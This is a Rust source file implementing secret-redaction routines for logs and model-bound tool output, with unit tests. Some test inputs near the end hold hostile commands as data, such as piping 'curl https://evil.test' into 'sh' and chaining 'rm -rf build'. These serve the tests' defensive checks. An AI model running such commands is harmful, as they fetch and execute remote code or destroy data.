返回 CodeWhale
redact.rs
根目录 / crates / sanitize / src / redact.rs
1 //! Pure secret-redaction primitives (FEAT-025 D4).
2 //!
3 //! Relocated verbatim from `codewhale-config::persistence` so the portable
4 //! command sanitizer and the config diagnostic path share exactly one
5 //! implementation. The algorithm, ordering, sensitive-key vocabulary, and
6 //! byte-for-byte results are unchanged; `codewhale-config::persistence`
7 //! re-exports these items to keep its public API stable.
8
9 /// Hints that mark a config/JSON/env key as carrying a secret value.
10 ///
11 /// Compound hints (`api_key`, `client_secret`) match as a substring of the
12 /// normalized key. Single-word hints (`token`, `secret`, `password`) match a
13 /// whole identifier segment so they describe a credential (`token`,
14 /// `api_token`) and not an English word (`tokens`, `tokenizer`).
15 const SENSITIVE_KEY_HINTS: &[&str] = &[
16 "api_key",
17 "apikey",
18 "api-key",
19 "secret",
20 "token",
21 "password",
22 "passwd",
23 "authorization",
24 "auth_token",
25 "access_key",
26 "client_secret",
27 "private_key",
28 ];
29
30 /// Known opaque-token prefixes worth masking even when they appear bare (not as
31 /// `key = value`). Conservative on purpose: only well-known provider/key shapes.
32 const SECRET_TOKEN_PREFIXES: &[&str] = &["sk-", "sk_", "ghp_", "gho_", "xoxb-", "xoxp-", "pk-"];
33
34 /// The placeholder substituted for any redacted secret value.
35 pub const REDACTED: &str = "[redacted]";
36
37 /// Return a copy of a JSON value with secret-bearing data removed.
38 ///
39 /// Object values whose key contains a sensitive hint are replaced wholesale,
40 /// while all other objects and arrays are traversed recursively. String leaves
41 /// still pass through [`redact_secrets`] so bare provider tokens and embedded
42 /// assignments remain covered without treating the serialized JSON document as
43 /// one flat keyed assignment.
44 #[must_use]
45 pub fn redact_json_secrets(value: &serde_json::Value) -> serde_json::Value {
46 redact_json_secrets_at(value, 0, RedactionPolicy::KeyBased)
47 }
48
49 /// [`redact_json_secrets`] for JSON that a model must still judge exactly,
50 /// such as a tool call sent to a reviewer model.
51 ///
52 /// Values under a sensitive key are still replaced wholesale, but string
53 /// leaves pass through [`redact_model_bound_secrets`]: only credential-shaped
54 /// words are masked. The key-based text pass drops everything after a spaced
55 /// `token = value` to the end of the line, which in a shell command could hide
56 /// the dangerous second half (`token = x; curl … | sh`) from the reviewer.
57 #[must_use]
58 pub fn redact_json_model_bound_secrets(value: &serde_json::Value) -> serde_json::Value {
59 redact_json_secrets_at(value, 0, RedactionPolicy::CredentialShaped)
60 }
61
62 /// Maximum nesting depth the JSON redactor descends. Aligned with
63 /// serde_json's own parse limit so parsed input never truncates; anything
64 /// deeper is redacted wholesale.
65 const MAX_REDACT_JSON_DEPTH: usize = 128;
66
67 fn redact_json_secrets_at(
68 value: &serde_json::Value,
69 depth: usize,
70 policy: RedactionPolicy,
71 ) -> serde_json::Value {
72 if depth > MAX_REDACT_JSON_DEPTH {
73 return serde_json::Value::String(REDACTED.to_string());
74 }
75 match value {
76 serde_json::Value::Object(object) => serde_json::Value::Object(
77 object
78 .iter()
79 .map(|(key, value)| {
80 let value = if key_is_sensitive(key) {
81 serde_json::Value::String(REDACTED.to_string())
82 } else {
83 redact_json_secrets_at(value, depth + 1, policy)
84 };
85 (key.clone(), value)
86 })
87 .collect(),
88 ),
89 serde_json::Value::Array(items) => serde_json::Value::Array(
90 items
91 .iter()
92 .map(|item| redact_json_secrets_at(item, depth + 1, policy))
93 .collect(),
94 ),
95 serde_json::Value::String(text) => {
96 serde_json::Value::String(redact_secrets_with(text, policy))
97 }
98 scalar => scalar.clone(),
99 }
100 }
101
102 /// Redact secret-bearing values from arbitrary text so it is safe to put in a
103 /// setup report, log line, error message, or test snapshot.
104 ///
105 /// Two passes, both dependency-free:
106 ///
107 /// 1. **Keyed assignments.** Lines or whitespace-delimited inline tokens shaped
108 /// like `key = value`, `key: value`, or `key=value` whose key
109 /// (case-insensitively, ignoring quotes) matches a `SENSITIVE_KEY_HINTS`
110 /// credential identifier have their value replaced with [`REDACTED`]. The
111 /// spaced form (`key = value`) is matched anywhere on the line, not only
112 /// when the sensitive key owns the line's first separator — an `anyhow`
113 /// chain rendered with `{:#}` puts prose and its own `: ` separators in
114 /// front of the assignment, and that must not be a hole. Because such a
115 /// value can span several words (`authorization = Bearer <token>`),
116 /// everything from the value to the end of the line is dropped, exactly as
117 /// the whole-line form already does. Token *counts* in diagnostics
118 /// (`max tokens = 8192`) are not credentials and stay visible.
119 /// 2. **Bare tokens.** Whitespace-delimited words that are a credential on
120 /// their own — a known `SECRET_TOKEN_PREFIXES` word, a provider-prefixed
121 /// opaque key (`CREDENTIAL_VALUE_PREFIXES`, `xai-`, `nvapi-`, `gsk_`,
122 /// `hf_`, `pplx-`), an AWS access key id, or a JWT — are replaced
123 /// wholesale.
124 ///
125 /// The goal is defense in depth: setup state and reports are built from safe
126 /// summaries that never include secrets in the first place, and this is the
127 /// backstop for anything that echoes raw config text.
128 #[must_use]
129 pub fn redact_secrets(input: &str) -> String {
130 redact_secrets_with(input, RedactionPolicy::KeyBased)
131 }
132
133 /// How aggressively [`redact_secrets_with`] treats a sensitive-looking key.
134 #[derive(Debug, Clone, Copy, PartialEq, Eq)]
135 pub enum RedactionPolicy {
136 /// Mask the value of every sensitive-looking key, whatever the value is.
137 /// Right for logs, previews, exports, and diagnostics: a false positive
138 /// costs nothing there and a miss leaks a credential.
139 KeyBased,
140 /// Mask a keyed value only when the value itself looks like a credential
141 /// (known prefix, JWT, bearer token, PEM block, long opaque string).
142 /// Right for text the model must be able to quote back byte-for-byte,
143 /// such as tool results that feed exact-match edits: `password:
144 /// credentials?.password`, `"password-validator": "^5.3.0"`, or
145 /// `token = make_token()` are code, not secrets (#5546).
146 CredentialShaped,
147 }
148
149 /// Redact model-bound tool output: exact configured credential values are the
150 /// caller's job; this masks only values that look like credentials so the
151 /// model keeps seeing the real bytes of ordinary code and config.
152 #[must_use]
153 pub fn redact_model_bound_secrets(input: &str) -> String {
154 redact_secrets_with(input, RedactionPolicy::CredentialShaped)
155 }
156
157 /// [`redact_secrets`] with an explicit [`RedactionPolicy`].
158 #[must_use]
159 pub fn redact_secrets_with(input: &str, policy: RedactionPolicy) -> String {
160 let mut out = String::with_capacity(input.len());
161 let mut in_private_key_block = false;
162 for line in input.split_inclusive('\n') {
163 // split_inclusive keeps the newline on the previous chunk, so we do
164 // not need to re-add separators here.
165 let body = line.strip_suffix('\n').unwrap_or(line);
166 let trimmed = body.trim();
167 if in_private_key_block {
168 if trimmed.starts_with("-----END") {
169 in_private_key_block = false;
170 out.push_str(line);
171 } else {
172 out.push_str(REDACTED);
173 if line.ends_with('\n') {
174 out.push('\n');
175 }
176 }
177 continue;
178 }
179 if is_private_key_block_start(trimmed) {
180 in_private_key_block = true;
181 out.push_str(line);
182 continue;
183 }
184 out.push_str(&redact_line(line, policy));
185 }
186 out
187 }
188
189 fn is_private_key_block_start(trimmed: &str) -> bool {
190 trimmed.starts_with("-----BEGIN") && trimmed.contains("PRIVATE KEY")
191 }
192
193 /// Redact a single line (which may include a trailing newline).
194 fn redact_line(line: &str, policy: RedactionPolicy) -> String {
195 // Preserve any trailing newline so callers keep their line structure.
196 let (body, newline) = match line.strip_suffix('\n') {
197 Some(rest) => (rest, "\n"),
198 None => (line, ""),
199 };
200
201 if let Some(redacted) = redact_keyed_assignment(body, policy) {
202 return format!("{redacted}{newline}");
203 }
204
205 // Inline-assignment / bare-token pass: mask any whitespace-delimited word
206 // carrying a sensitive keyed value or a known bare secret prefix, plus the
207 // spaced `key = value` form that `redact_keyed_assignment` above only sees
208 // when the sensitive key owns the line's first separator.
209 let mut changed = false;
210 let mut spaced = SpacedAssignment::None;
211 let mut masked: Vec<String> = Vec::new();
212 for word in body.split(' ') {
213 let trimmed = trim_word_punctuation(word);
214 if spaced == SpacedAssignment::AwaitingValue && !trimmed.is_empty() {
215 match policy {
216 RedactionPolicy::KeyBased => {
217 // The value may run to the end of the line, so drop the
218 // remainder rather than masking one word and leaking the
219 // rest.
220 masked.push(REDACTED.to_string());
221 changed = true;
222 break;
223 }
224 RedactionPolicy::CredentialShaped => {
225 // Only a credential-shaped value is hidden, and only that
226 // word: the rest of the line stays quotable. An auth scheme
227 // word (`Bearer`) keeps the assignment open for its token.
228 if is_auth_scheme_word(trimmed) {
229 masked.push(word.to_string());
230 continue;
231 }
232 if value_looks_like_credential(trimmed) {
233 masked.push(word.replace(trimmed, REDACTED));
234 changed = true;
235 } else {
236 masked.push(word.to_string());
237 }
238 spaced = SpacedAssignment::None;
239 continue;
240 }
241 }
242 }
243 if let Some(redacted) = redact_inline_keyed_assignment(trimmed, policy) {
244 changed = true;
245 masked.push(word.replace(trimmed, &redacted));
246 spaced = SpacedAssignment::None;
247 } else if let Some(core) = secret_token_core(trimmed) {
248 changed = true;
249 masked.push(word.replacen(core, REDACTED, 1));
250 spaced = SpacedAssignment::None;
251 } else if let Some(redacted) = redact_structured_word(trimmed, policy) {
252 changed = true;
253 masked.push(word.replace(trimmed, &redacted));
254 spaced = SpacedAssignment::None;
255 } else {
256 masked.push(word.to_string());
257 spaced = spaced.advance(trimmed);
258 }
259 }
260
261 if changed {
262 format!("{}{newline}", masked.join(" "))
263 } else {
264 format!("{body}{newline}")
265 }
266 }
267
268 /// Progress through a `key <space> <sep> <space> value` assignment as the
269 /// word-level pass walks a line.
270 #[derive(Debug, Clone, Copy, PartialEq, Eq)]
271 enum SpacedAssignment {
272 None,
273 /// The previous word was a bare sensitive key awaiting its separator.
274 SensitiveKey,
275 /// A sensitive key and its separator are both behind us.
276 AwaitingValue,
277 }
278
279 impl SpacedAssignment {
280 fn advance(self, trimmed: &str) -> Self {
281 // Runs of spaces produce empty words; they neither start nor cancel an
282 // assignment.
283 if trimmed.is_empty() {
284 return self;
285 }
286 if matches!(trimmed, "=" | ":") {
287 return if self == Self::SensitiveKey {
288 Self::AwaitingValue
289 } else {
290 Self::None
291 };
292 }
293 // `api_key=` / `api_key:` with the value in the next word. A word whose
294 // separator is *not* final was already offered to
295 // `redact_inline_keyed_assignment`, so it is not an assignment we own.
296 if let Some(key) = trimmed
297 .strip_suffix('=')
298 .or_else(|| trimmed.strip_suffix(':'))
299 {
300 return if key_is_sensitive(key) {
301 Self::AwaitingValue
302 } else {
303 Self::None
304 };
305 }
306 if key_is_sensitive(trimmed) {
307 return Self::SensitiveKey;
308 }
309 Self::None
310 }
311 }
312
313 /// Compact JSON and query strings (`{"tokens":{"access_token":"eyJ…"}}`,
314 /// `curl`, `jq -c`, `?access_token=…&x=1`) carry no spaces, so the word pass
315 /// sees the whole document as one word whose first separator belongs to a
316 /// harmless key. Split such a word on its structure and offer every member to
317 /// the same keyed and bare-token checks; the delimiters are kept byte-exact.
318 fn redact_structured_word(word: &str, policy: RedactionPolicy) -> Option<String> {
319 const DELIMITERS: [char; 7] = ['{', '}', '[', ']', ',', '&', '?'];
320 if !word.contains(DELIMITERS) {
321 return None;
322 }
323 let mut out = String::with_capacity(word.len());
324 let mut changed = false;
325 let mut start = 0;
326 for (idx, ch) in word.match_indices(DELIMITERS) {
327 changed |= push_structured_segment(&mut out, &word[start..idx], policy);
328 out.push_str(ch);
329 start = idx + ch.len();
330 }
331 changed |= push_structured_segment(&mut out, &word[start..], policy);
332 changed.then_some(out)
333 }
334
335 fn push_structured_segment(out: &mut String, segment: &str, policy: RedactionPolicy) -> bool {
336 // A value an earlier pass already masked (`?token=***`) stays as it is.
337 let already_masked = segment.split_once(['=', ':']).is_some_and(|(_, value)| {
338 let (core, _) = strip_value_quotes(value);
339 !core.is_empty() && core.chars().all(|c| c == '*')
340 });
341 if segment.is_empty() || already_masked {
342 out.push_str(segment);
343 return false;
344 }
345 if let Some(redacted) = redact_inline_keyed_assignment(segment, policy) {
346 out.push_str(&redacted);
347 return true;
348 }
349 let (core, _) = strip_value_quotes(segment);
350 let core = core.trim_end_matches(['"', '\'']);
351 if !core.is_empty() && (looks_like_secret_token(core) || is_jwt_shaped(core)) {
352 out.push_str(&segment.replacen(core, REDACTED, 1));
353 return true;
354 }
355 out.push_str(segment);
356 false
357 }
358
359 fn trim_word_punctuation(word: &str) -> &str {
360 word.trim_matches(|c| matches!(c, '"' | '\'' | ',' | ';'))
361 }
362
363 /// Whether `raw`, normalized the way a config/env/JSON key is, matches a
364 /// [`SENSITIVE_KEY_HINTS`] credential identifier.
365 fn key_is_sensitive(raw: &str) -> bool {
366 let key_norm = normalize_sensitive_key(raw);
367 !key_norm.is_empty()
368 && SENSITIVE_KEY_HINTS
369 .iter()
370 .any(|hint| key_matches_sensitive_hint(&key_norm, hint))
371 }
372
373 /// Normalize the identifier boundaries commonly used by config, env, and JSON
374 /// keys without turning English plurals such as `tokens` into `token`.
375 ///
376 /// Punctuation and case transitions become `_`, so `oauth.token`,
377 /// `accessToken`, and `APIKey` share the same matching surface as
378 /// `oauth_token`, `access_token`, and `api_key`.
379 pub(crate) fn normalize_sensitive_key(raw: &str) -> String {
380 let mut normalized = String::with_capacity(raw.len());
381 let mut chars = raw.chars().peekable();
382 let mut previous = None;
383
384 while let Some(ch) = chars.next() {
385 if ch.is_ascii_alphanumeric() {
386 let next = chars.peek().copied();
387 let starts_case_segment = ch.is_ascii_uppercase()
388 && previous.is_some_and(|previous: char| {
389 previous.is_ascii_lowercase()
390 || previous.is_ascii_digit()
391 || (previous.is_ascii_uppercase()
392 && next.is_some_and(|next| next.is_ascii_lowercase()))
393 });
394 if starts_case_segment && !normalized.is_empty() && !normalized.ends_with('_') {
395 normalized.push('_');
396 }
397 normalized.push(ch.to_ascii_lowercase());
398 } else if !normalized.is_empty() && !normalized.ends_with('_') {
399 normalized.push('_');
400 }
401 previous = Some(ch);
402 }
403
404 while normalized.ends_with('_') {
405 normalized.pop();
406 }
407 normalized
408 }
409
410 fn key_matches_sensitive_hint(key_norm: &str, hint: &str) -> bool {
411 if key_norm == hint {
412 return true;
413 }
414 // Compound hints already name a credential (`api_key`, `client_secret`).
415 // Substring is the right match: `openai_api_key` contains `api_key`.
416 if hint.contains('_') || hint.contains('-') {
417 return key_norm.contains(hint);
418 }
419 if hint == "token" {
420 // Camel-case normalization turns both credentials (`accessToken`) and
421 // ordinary usage metrics (`tokenBudget`, `tokenCount`) into segmented
422 // identifiers. A credential token is either the whole key, a suffix
423 // such as `access_token`, or an explicitly value-bearing `token_*`
424 // field. Metrics must stay visible in diagnostics and tool previews.
425 let is_metric_suffix = |suffix: &str| {
426 matches!(
427 suffix.split('_').next(),
428 Some(
429 "budget"
430 | "budgets"
431 | "count"
432 | "counts"
433 | "limit"
434 | "limits"
435 | "total"
436 | "totals"
437 | "usage"
438 | "used"
439 | "window"
440 | "windows"
441 )
442 )
443 };
444 if key_norm.ends_with("_token") {
445 return true;
446 }
447 if let Some(suffix) = key_norm.strip_prefix("token_") {
448 return !is_metric_suffix(suffix);
449 }
450 if let Some((_, suffix)) = key_norm.rsplit_once("_token_") {
451 return !is_metric_suffix(suffix);
452 }
453 return false;
454 }
455 // Single-word hints must be a whole identifier segment so `token`
456 // redacts `token` / `api_token` and not English `tokens`.
457 key_norm.split(['_', '-']).any(|segment| segment == hint)
458 }
459
460 fn redact_inline_keyed_assignment(word: &str, policy: RedactionPolicy) -> Option<String> {
461 let sep_idx = word.find(['=', ':'])?;
462 let (raw_key, rest) = word.split_at(sep_idx);
463 let raw_value = &rest[1..];
464 if raw_value.is_empty() {
465 return None;
466 }
467 if !key_is_sensitive(raw_key) {
468 return None;
469 }
470 match policy {
471 RedactionPolicy::KeyBased => Some(format!("{}{}{}", raw_key, &rest[..1], REDACTED)),
472 RedactionPolicy::CredentialShaped => {
473 let (core, quote) = strip_value_quotes(raw_value);
474 if !value_looks_like_credential(core) {
475 return None;
476 }
477 Some(format!("{}{}{quote}{REDACTED}{quote}", raw_key, &rest[..1]))
478 }
479 }
480 }
481
482 /// Whether a word announces an HTTP auth scheme whose credential follows.
483 fn is_auth_scheme_word(word: &str) -> bool {
484 matches!(
485 word,
486 "Bearer" | "bearer" | "Basic" | "basic" | "Token" | "token"
487 )
488 }
489
490 /// Split a matching pair of surrounding quotes off a value, returning the
491 /// inner text and the quote to restore (empty when unquoted or unbalanced).
492 fn strip_value_quotes(value: &str) -> (&str, &str) {
493 for quote in ['"', '\''] {
494 if value.len() >= 2 && value.starts_with(quote) && value.ends_with(quote) {
495 return (&value[1..value.len() - 1], &value[..1]);
496 }
497 }
498 // A leading quote without its partner (the word pass strips the outer
499 // punctuation of `"x",` to `"x`): treat the remainder as the value.
500 if let Some(inner) = value.strip_prefix(['"', '\'']) {
501 return (inner, "");
502 }
503 (value, "")
504 }
505
506 /// Extra bare prefixes that mark a value as a credential even though they are
507 /// too product-specific to mask as standalone words in prose.
508 const CREDENTIAL_VALUE_PREFIXES: &[&str] = &[
509 "sk-ant-",
510 "AKIA",
511 "ASIA",
512 "AIza",
513 "ghp_",
514 "gho_",
515 "ghu_",
516 "ghs_",
517 "ghr_",
518 "github_pat_",
519 "glpat-",
520 "xoxa-",
521 "xoxb-",
522 "xoxp-",
523 "xoxr-",
524 "xoxs-",
525 "npm_",
526 "ya29.",
527 ];
528
529 /// Whether a keyed value looks like credential material rather than code,
530 /// configuration, or prose.
531 ///
532 /// True for known provider prefixes, JWTs, `Bearer`/`Basic` tokens, PEM
533 /// headers, and long opaque alphanumeric runs. False for short literals,
534 /// version strings, identifiers, property/call/env references, and the
535 /// redaction placeholder itself.
536 pub(crate) fn value_looks_like_credential(value: &str) -> bool {
537 let value = value
538 .trim()
539 .trim_matches(|c| matches!(c, '"' | '\'' | ',' | ';'));
540 if value.is_empty() || value == REDACTED {
541 return false;
542 }
543 if looks_like_secret_token(value)
544 || CREDENTIAL_VALUE_PREFIXES
545 .iter()
546 .any(|prefix| value.len() > prefix.len() + 6 && value.starts_with(prefix))
547 {
548 return true;
549 }
550 if value.starts_with("-----BEGIN") {
551 return true;
552 }
553 if let Some((scheme, rest)) = value.split_once(' ')
554 && is_auth_scheme_word(scheme)
555 {
556 return value_looks_like_credential(rest);
557 }
558 if is_jwt_shaped(value) {
559 return true;
560 }
561 if value.len() < 16 {
562 return false;
563 }
564 if is_version_like(value) || is_reference_like(value) {
565 return false;
566 }
567 is_opaque_run(value)
568 }
569
570 fn is_jwt_shaped(value: &str) -> bool {
571 let mut parts = value.split('.');
572 match (parts.next(), parts.next(), parts.next(), parts.next()) {
573 (Some(header), Some(payload), Some(signature), None) => {
574 header.starts_with("eyJ")
575 && payload.starts_with("eyJ")
576 && !signature.is_empty()
577 && [header, payload, signature].iter().all(|part| {
578 part.chars()
579 .all(|c| c.is_ascii_alphanumeric() || c == '-' || c == '_')
580 })
581 }
582 _ => false,
583 }
584 }
585
586 fn is_version_like(value: &str) -> bool {
587 let digits = value.trim_start_matches(['^', '~', '>', '<', '=', 'v', 'V', ' ']);
588 !digits.is_empty()
589 && digits
590 .chars()
591 .all(|c| c.is_ascii_digit() || c == '.' || c == '-' || c == '+')
592 && digits.chars().next().is_some_and(|c| c.is_ascii_digit())
593 }
594
595 fn is_reference_like(value: &str) -> bool {
596 // Property access, calls, template/env lookups, and plain identifiers are
597 // code, not credential material.
598 value.contains("?.")
599 || value.contains('(')
600 || value.contains("${")
601 || value.contains("process.env")
602 || value.contains("os.environ")
603 || value.contains("getenv")
604 || value.contains("://")
605 || value
606 .chars()
607 .all(|c| c.is_ascii_alphabetic() || c == '_' || c == '.')
608 }
609
610 fn is_opaque_run(value: &str) -> bool {
611 value.len() >= 20
612 && value
613 .chars()
614 .all(|c| c.is_ascii_alphanumeric() || matches!(c, '+' | '/' | '=' | '_' | '-' | '.'))
615 && value.chars().any(|c| c.is_ascii_alphabetic())
616 && value.chars().any(|c| c.is_ascii_digit())
617 }
618
619 /// If `body` is a `key <sep> value` assignment with a sensitive key, return the
620 /// line with the value redacted; otherwise `None`.
621 fn redact_keyed_assignment(body: &str, policy: RedactionPolicy) -> Option<String> {
622 // Find the first `=` or `:` that separates a key from a value.
623 let sep_idx = body.find(['=', ':'])?;
624 let (raw_key, rest) = body.split_at(sep_idx);
625 let sep = &rest[..1];
626 let raw_value = &rest[1..];
627
628 let key_norm = raw_key
629 .trim()
630 .trim_matches(|c| matches!(c, '"' | '\'' | '[' | ']'));
631 if !key_is_sensitive(key_norm) {
632 return None;
633 }
634
635 if policy == RedactionPolicy::CredentialShaped {
636 // Replace only the value span, keep the key bytes, separator spacing,
637 // quote style, and trailing punctuation, and only when the value is
638 // credential-shaped: the model must still be able to quote the line.
639 let value_lead_ws: String = raw_value
640 .chars()
641 .take_while(|c| c.is_whitespace())
642 .collect();
643 let value_rest = raw_value.trim_start();
644 let value_core = value_rest.trim_end();
645 let trailing_ws = &value_rest[value_core.len()..];
646 let literal = value_core.trim_end_matches([',', ';']);
647 let trailer = &value_core[literal.len()..];
648 let (core, quote) = strip_value_quotes(literal);
649 // A value of more than one word (beyond an auth scheme and its
650 // token) is not one credential: `-H 'Authorization: Bearer sk-…'
651 // https://host && rm -rf x` would otherwise mask the whole rest of
652 // the command. The word pass below masks just the credential.
653 let words = core.split_whitespace().count();
654 let single_value = words <= 1
655 || (words == 2
656 && core
657 .split_whitespace()
658 .next()
659 .is_some_and(is_auth_scheme_word));
660 if core.is_empty() || !single_value || !value_looks_like_credential(core) {
661 return None;
662 }
663 return Some(format!(
664 "{raw_key}{sep}{value_lead_ws}{quote}{REDACTED}{quote}{trailer}{trailing_ws}"
665 ));
666 }
667
668 // Keep leading whitespace of the key and the original separator spacing so
669 // the redacted line reads naturally.
670 let key_lead_ws: String = raw_key.chars().take_while(|c| c.is_whitespace()).collect();
671 let value_lead_ws: String = raw_value
672 .chars()
673 .take_while(|c| c.is_whitespace())
674 .collect();
675 let value_rest = raw_value.trim_start();
676 // If the value is empty, there is nothing to hide.
677 if value_rest.is_empty() {
678 return None;
679 }
680 // Preserve surrounding quotes so structured files stay parseable-looking.
681 let quoted = value_rest.starts_with('"') || value_rest.starts_with('\'');
682 let replacement = if quoted {
683 format!("\"{REDACTED}\"")
684 } else {
685 REDACTED.to_string()
686 };
687 Some(format!(
688 "{key_lead_ws}{}{sep}{value_lead_ws}{replacement}",
689 raw_key.trim()
690 ))
691 }
692
693 /// Provider key prefixes masked as bare words only when the rest of the word
694 /// is an opaque run ([`is_opaque_token_body`]): real keys under them are
695 /// random, while identifiers sharing the prefix (`hf_hub_download`,
696 /// `npm_config_cache`) are not. [`CREDENTIAL_VALUE_PREFIXES`] joins them.
697 const BARE_OPAQUE_TOKEN_PREFIXES: &[&str] = &["xai-", "nvapi-", "gsk_", "hf_", "pplx-"];
698
699 /// Whether a whitespace-delimited word is a credential on its own: a
700 /// [`SECRET_TOKEN_PREFIXES`] word, a provider-prefixed opaque key, an AWS
701 /// access key id, or a JWT.
702 fn looks_like_secret_token(word: &str) -> bool {
703 secret_token_core(word).is_some()
704 }
705
706 /// The credential inside `word` once markdown and prose punctuation around it
707 /// is dropped (`` `xai-…` ``, `(nvapi-…)`, `AKIA…:`, a JWT ending a
708 /// sentence), or `None` when the word is not a credential on its own.
709 fn secret_token_core(word: &str) -> Option<&str> {
710 let core = word.trim_matches(|c| {
711 matches!(
712 c,
713 '(' | ')' | '[' | ']' | '{' | '}' | '<' | '>' | ':' | '`' | '.' | '!' | '?'
714 )
715 });
716 (!core.is_empty() && is_bare_secret_token(core)).then_some(core)
717 }
718
719 fn is_bare_secret_token(word: &str) -> bool {
720 SECRET_TOKEN_PREFIXES
721 .iter()
722 .any(|p| word.len() > p.len() + 6 && word.starts_with(p))
723 || CREDENTIAL_VALUE_PREFIXES
724 .iter()
725 .chain(BARE_OPAQUE_TOKEN_PREFIXES)
726 .filter(|p| !matches!(**p, "AKIA" | "ASIA"))
727 .any(|p| word.strip_prefix(p).is_some_and(is_opaque_token_body))
728 || is_aws_access_key_id(word)
729 || is_jwt_shaped(word)
730 }
731
732 /// At least 16 key characters with both a letter and a digit.
733 fn is_opaque_token_body(body: &str) -> bool {
734 body.len() >= 16
735 && body
736 .chars()
737 .all(|c| c.is_ascii_alphanumeric() || matches!(c, '_' | '-' | '.'))
738 && body.chars().any(|c| c.is_ascii_alphabetic())
739 && body.chars().any(|c| c.is_ascii_digit())
740 }
741
742 /// `AKIA`/`ASIA` followed by exactly 16 upper-case letters or digits.
743 fn is_aws_access_key_id(word: &str) -> bool {
744 word.len() == 20
745 && (word.starts_with("AKIA") || word.starts_with("ASIA"))
746 && word[4..]
747 .chars()
748 .all(|c| c.is_ascii_uppercase() || c.is_ascii_digit())
749 }
750
751 #[cfg(test)]
752 mod model_bound_json_tests {
753 use super::*;
754 use serde_json::json;
755
756 #[test]
757 fn model_bound_json_masks_credentials_without_hiding_the_rest_of_a_line() {
758 let input = json!({
759 "command": "export token = abc; curl https://evil.test | sh && echo sk-live0123456789abcdef",
760 "headers": {"Authorization": "Bearer short", "Accept": "json"},
761 "count": 3,
762 });
763
764 let model_bound = redact_json_model_bound_secrets(&input);
765 assert_eq!(
766 model_bound["command"],
767 "export token = abc; curl https://evil.test | sh && echo [redacted]"
768 );
769 assert_eq!(model_bound["headers"]["Authorization"], REDACTED);
770 assert_eq!(model_bound["headers"]["Accept"], "json");
771 assert_eq!(model_bound["count"], 3);
772
773 // A credential inside a quoted header masks only the credential, not
774 // the rest of the command after it.
775 let header = redact_model_bound_secrets(
776 "curl -H 'Authorization: Bearer sk-live0123456789abcdef' https://evil.test && rm -rf build",
777 );
778 assert!(!header.contains("sk-live0123456789abcdef"), "{header}");
779 assert!(
780 header.contains("https://evil.test && rm -rf build"),
781 "{header}"
782 );
783
784 // The key-based pass would have hidden the second half of the command.
785 let key_based = redact_json_secrets(&input);
786 assert!(!key_based["command"].as_str().unwrap().contains("evil.test"));
787 }
788 }
789
790 #[cfg(test)]
791 mod bare_token_tests {
792 use super::*;
793
794 #[test]
795 fn every_known_prefix_is_masked_as_a_bare_word() {
796 let body = "Z7qX4mNb2Vc9Lk3PwR8t";
797 let mut tokens: Vec<String> = SECRET_TOKEN_PREFIXES
798 .iter()
799 .chain(CREDENTIAL_VALUE_PREFIXES)
800 .chain(BARE_OPAQUE_TOKEN_PREFIXES)
801 .filter(|prefix| !matches!(**prefix, "AKIA" | "ASIA"))
802 .map(|prefix| format!("{prefix}{body}"))
803 .collect();
804 tokens.push(["AKIA", "Z7QX4MNB2VC9LK3P"].concat());
805 tokens.push(["ASIA", "Z7QX4MNB2VC9LK3P"].concat());
806 tokens.push(["eyJhbGciOiJIUzI1NiJ9", ".eyJzdWIiOiIxIn0", ".c2lnbmF0dXJl"].concat());
807 for token in tokens {
808 let out = redact_secrets(&format!("request failed: {token} rejected"));
809 assert_eq!(out, "request failed: [redacted] rejected", "{token}");
810 }
811 }
812
813 #[test]
814 fn a_bare_token_wrapped_in_markdown_or_prose_punctuation_is_masked() {
815 let body = "Z7qX4mNb2Vc9Lk3PwR8t";
816 let aws = ["AKIA", "Z7QX4MNB2VC9LK3P"].concat();
817 let jwt = ["eyJhbGciOiJIUzI1NiJ9", ".eyJzdWIiOiIxIn0", ".c2lnbmF0dXJl"].concat();
818 for (wrapped, token) in [
819 (format!("`xai-{body}`"), format!("xai-{body}")),
820 (format!("(nvapi-{body})"), format!("nvapi-{body}")),
821 (format!("hf_{body})"), format!("hf_{body}")),
822 (format!("[pplx-{body}]"), format!("pplx-{body}")),
823 (format!("{aws}:"), aws.clone()),
824 (format!("{aws})"), aws.clone()),
825 (format!("{jwt})."), jwt.clone()),
826 ] {
827 let out = redact_secrets(&format!("key {wrapped} rejected"));
828 assert!(!out.contains(&token), "{out}");
829 assert!(out.contains(REDACTED), "{out}");
830 }
831 assert_eq!(
832 redact_secrets(&format!("key `xai-{body}` rejected")),
833 "key `[redacted]` rejected"
834 );
835 }
836
837 #[test]
838 fn lowercase_opaque_keys_with_separators_are_still_masked() {
839 // Lowercase letters and separators are also valid random key material;
840 // their shape alone does not establish that this is an identifier.
841 for prefix in BARE_OPAQUE_TOKEN_PREFIXES {
842 for separator in ['-', '_', '.'] {
843 let body = ["a1b2c3d4", "e5f6g7h8", "i9j0k1l2"].join(&separator.to_string());
844 let token = format!("{prefix}{body}");
845 let out = redact_secrets(&format!("request failed: `{token}` rejected"));
846 assert_eq!(out, "request failed: `[redacted]` rejected");
847 }
848 }
849 }
850
851 #[test]
852 fn identifiers_sharing_a_prefix_stay_visible() {
853 for word in [
854 "hf_hub_download",
855 "npm_config_cache",
856 "xai-grok-sdk",
857 "AKIAshort",
858 "gsk_",
859 "eyJ.eyJ",
860 ] {
861 let line = format!("call {word} now");
862 assert_eq!(redact_secrets(&line), line, "{word}");
863 }
864 }
865 }
866
866 lines RUST